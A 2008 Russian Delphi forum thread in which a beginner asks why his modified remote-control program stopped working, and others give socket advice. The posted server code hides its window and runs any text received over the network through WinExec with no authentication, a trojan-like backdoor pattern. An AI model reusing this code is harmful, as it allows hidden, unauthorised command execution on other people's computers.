Мастера DELPHI (документация, исходники, скачать)

Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Удаленное управление компьютером [D7, XP]

jonin © (2008-10-12 15:47:00)
Пред всем.
такая праблема у меня подскажите что делаю не так.
Я в Кладовка- Исходные тексты. Модули, программы, компоненты и другое.нашел программу ля удаленного управления стал ее переделывать чтоб так сказать усовершенствовать и работать она перестала вобще))

jonin (2008-10-13 15:01:00) [1]
kami спс за статью, прочитал и ве получилось

Сергей М. (2008-10-13 09:15:00) [2]

> jonin (12.10.08 16:36) [3]

А что там, по-твоему, должно происходить ?

kami (2008-10-12 18:52:00) [3]

> jonin (12.10.08 18:30) [6]
> он активируется в начале программы и не блакируется

Понятно.
Не лезь в дебри, серьезно. Если не можешь ответить на простой вопрос - рановато тебе "модифицировать" чужую программу.
Сперва почитай и проникнись что-нибудь типа http://www.delphimaster.ru/articles/sockets/index.htmlи близлежащие.

jonin (2008-10-12 18:30:00) [4]
он активируется в начале программы и не блакируется

jonin (2008-10-12 18:29:00) [5]
в смнет

kami (2008-10-12 16:54:00) [6]
> стал ее переделывать чтоб так сказать усовершенствовать
> и работать она перестала вобще

Есть очень хорошее правило : работает - не трогай!:)

В каком режиме работает ClientSocket1 - блокирующем или нет?

jonin (2008-10-12 16:36:00) [7]
почему то не чего не происходит на удаленном компьютере(

Сергей М. (2008-10-12 16:24:00) [8]
За за каким хреном ты полез что-то там переделывать, если ни шиша не понимаешь как это работает ?)

jonin (2008-10-12 15:51:00) [9]
вотсам код (сервера):
procedure TForm1.FormPaint(Sender: TObject);
begin
form1.hide;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var s:string;
begin
s:=socket.ReceiveText;
if (s='CD_O') then mciSendString('Set cdaudio door open wait', nil, 0, Application.handle); //Открыть дисковод
winexec(pchar(s),1);
end;
-------------------------------------
код (клиентской программы):
procedure TForm1.Button3Click(Sender: TObject);
begin
clientsocket1.Host:=edit2.Text; // IP компьютера
clientsocket1.Port:=8000;
clientsocket1.Open;
ClientSocket1.Socket.SendText('CD_O');
end;

Наверх

	« предыдущая ветвь \| форум \| следующая ветвь »